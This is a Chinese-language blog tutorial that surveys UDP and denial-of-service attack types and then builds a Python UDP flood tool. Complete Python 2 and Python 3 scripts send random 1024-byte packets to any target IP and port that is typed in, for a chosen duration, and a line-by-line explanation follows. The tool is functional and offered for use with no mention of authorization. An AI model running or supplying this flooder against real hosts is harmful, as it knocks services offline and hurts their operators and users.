用 Python 編譯簡單 UDP DoS 工具

UDP? DoS Attack?

What is UDP?

  • UDP,User Datagram Protocal,主要位在OSI傳輸層
  • 在TCP/IP模型中在網路層上、應用層下提供簡單的介面,只提供資料的不可靠傳遞
  • 因缺乏可靠性,且屬於無連接協定 => 應用程式必須容許一些遺失錯誤重複的封包
  • 有些應用程式不大需要可靠性機制,甚至可能因為引入可靠性而降低效能,故而使用此類協定
    • e.g. 串流媒體、即時多人遊戲、IP語音
  • 因為UDP傳送端無法檢測壅塞,所以像使用queue、丟棄技術路由器之類的網路基礎裝置會用於降低UDP過大流量
    • DCCP(資料壅塞控制協定) => 通過在諸如串流媒體類型的高速UDP流中增加主機壅塞控制,來減小此潛在問題
  • 主要應用:
    • DNS (Domain Name Server)
    • DHCP (Dynamic Host Configuration Protocol)
    • SNMP (Simple Network Management Protocol)
    • RIP (Router Information Protocol)

      What is DoS Attack?

      Reference: Denial-of-service attack

  • DoS Attack,Denial-of-Service Attack,中譯為阻斷服務攻擊,或稱洪水攻擊
    • 目的:使目標電腦的網路 / 系統資源耗盡,使服務暫時中斷或停止,導致正常用戶無法存取
    • 當駭客使用兩個以上被攻陷並控制的電腦作為「殭屍(Bot)」向特定目標發動DoS攻擊,此類稱為「DDoS Attack(distibuted denial-of-service attack,分散式阻斷服務攻擊)
  • DoS Attack症狀包括:
    • 網路異常緩慢
    • 特定網站無法存取
    • 無法存取任何網站
    • 垃圾郵件數量遽增
    • 無線或有線網路連線異常斷線
    • 長時間嘗試存取網站或任何網際網路服務被拒絕
    • 伺服器易斷線、卡頓
  • DoS Attack可能會導致區網內其他電腦一併被攻擊,其頻寬會因攻擊而大量消耗,進而引響其他電腦

    攻擊方式

  • 頻寬消耗型
    • 可分為兩個不同的層次:洪泛攻擊、放大攻擊
      • 洪泛攻擊
        • 特點:利用殭屍程式傳送大量流量至受損的受礙者系統
        • 目的:堵塞其頻寬
      • 放大攻擊
        • 類似上面攻擊,通過惡意放大流量限制受害者系統的頻寬
        • 特點:
          • 利用殭屍程式通過偽造的源IP(攻擊目標IP)向某些存在漏洞的伺服器傳送請求,伺服器在處理請求後向源IP傳送應答
          • 這些服務的特殊性導致response比request更長,使用頻寬就能使Server傳送大量response到目標主機
    • UDP floods (User Datagram Protocol floods)
      • 封包通過UDP傳送時不需要進行握手驗證
      • 大量UDP封包傳送給受害系統,可能會導致頻寬飽和
      • UDP封包的目的埠可能是隨機或指定的埠號
      • 有時會影響受害系統周遭的網路連接,但取決於網路體系結構和網速
    • ICMP floods
      • 通過向未良好設定的路由器傳送廣播資訊,占用系統資源的做法
    • ping of death
      • 產生超過IP協定能容忍的封包數,若系統沒有檢查機制就會當機
  • 資源消耗型
    • SYN floods
      • 全名為「傳送控制協定同步攻擊(TCP SYN attack)」,TCP包括在傳送者、接收者間在封包傳送前建立的完全訊號交換
      • 啟動系統傳送一個SYN請求,通常會回傳帶有自己SYN請求的ACK(確認)
      • 但若接收系統傳送SYN封包卻沒接收到ACK,則一段時間後會再傳送新的SYN封包,接收系統中的處理器、記憶體資源將儲存該TCP SYN請求直到超時
    • LAND attack
      • 類似SYN floods,但源IP跟目標IP都是攻擊物件的IP
      • 導致被攻擊的機器無窮迴圈
    • CC attack (Distributed HTTP flood)
      • DDoS Attack的一種,使用代理伺服器向目標伺服器傳送大量貌似合法的請求(HTTP GET)
      • CC(Challenge Collapsar)跟局其工具命名
        • 利用眾多廣泛可用的免費代理伺服器發動DDoS Attack
        • 大多免費代理伺服器支援匿名,難以追蹤
    • Botnet attack
      • Botnet => 大量被C&C(Command and Control) Server所控制的網際網路主機群
      • Botnet只有在執行特定指令時才會與伺服器進行通訊,根據網路通訊協定不同分為IRC、HTTP、P2P類等
    • Application level floods
      • 針對應用軟體層 (高於OSI)
      • 同樣以大量消耗系統資源為目的,通過向類似IIS的網路服務程式提出無節制的資源申請來迫害正常的網路服務

Code

  • Python2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    import os
    import sys
    import time
    import socket
    import random

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(1024)

    print("This is a simple tool for UDP DoS.")

    ip = raw_input("Target ip or url: ")
    port = input("Port: ")
    dur = input("Time: ")

    timeout = time.time() + dur
    sent = 0

    while True:
    try:
    if time.time() > timeout:
    break
    else:
    pass
    sock.sendto(bytes, (ip, port))
    sent += 1
    print("Sent %s packets to %s" % (sent, ip))
    except KeyboardInterrupt:
    sys.exit()
  • Python3
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    import os
    import sys
    import time
    import socket
    import random

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(1024)
    print("This is a simple tool for udp dos.")

    ip = input("Target ip or url: ")
    port = int(input("Port: "))
    dur = int(input("Time: "))

    timeout = time.time() + dur
    sent = 0

    while True:
    try:
    if time.time() > timeout:
    break
    else:
    pass
    sock.sendto(bytes, (ip, port))
    sent += 1
    print("Sent %s packets to %s" % (sent, ip))
    except KeyboardInterrupt:
    sys.exit()

Code Details

以下以Python3版本做解釋

  • 程式流程大概如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    st=>start: Start
    e=>end: End
    sock=>operation: set socket
    input=>operation: input
    time_set=>operation: set timeout
    time_cond=>condition: timeout or not?
    dos=>operation: send packet

    st->sock->input->time_set->time_cond
    time_cond(yes)->e
    time_cond(no)->dos->time_cond
  • 首先將所需的套件都先引入

    1
    2
    3
    4
    5
    6
    # simple_udp_dos.py
    import os
    import sys
    import time
    import socket
    import random
  • 接著設定socket,並且設定封包大小

    1
    2
    3
    4
    5
    6
    7
    # simple_udp_dos.py

    # ...

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(1024)
    print("This is a simple tool for UDP DoS.")
    • socket的幾個引數
      • IP位址引數
        引數 描述
        socket.AF_INET IPv4 (default)
        socket.AF_INET6 IPv6
      • 型別引數
        引數 描述
        socket.SOCK_STREAM TCP (default)
        socket.SOCK_DGRAM UDP
    • random._urandom(),相當於os.urandom()
      • 用來隨機存取OS中的資料作為欲傳送的資料
      • 根據網速可以設定bytes在1024的倍數上
  • 輸入目標IP以及預計實施攻擊的時長

    1
    2
    3
    4
    5
    6
    7
    # simple_udp_dos.py

    # ...

    ip = input("Target ip or url: ")
    port = int(input("Port: "))
    dur = int(input("Time: "))
    • 接著繼續將timeout的時間做計算
      1
      2
      3
      4
      5
      6
      # simple_udp_dos.py

      # ...

      timeout = time.time() + dur
      sent = 0

      sent => 計算已送出的封包數量

  • 實際進行DoS

    • 確認沒有超過攻擊時長,然後送封包到目標IP
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      # simple_udp_dos.py

      # ...

      while True:
      try:
      if time.time() > timeout:
      break
      else:
      pass
      sock.sendto(bytes, (ip, port))
      sent += 1
      print("Sent %s packets to %s" % (sent, ip))
      except KeyboardInterrupt:
      sys.exit()
    • sock.sendto(bytes, address) => 將轉為bytes的資料傳送至目標IP

Reference: 用python編譯簡單的dos工具

  • Copyrights © 2019-2021 NIghTcAt

請我喝杯咖啡吧~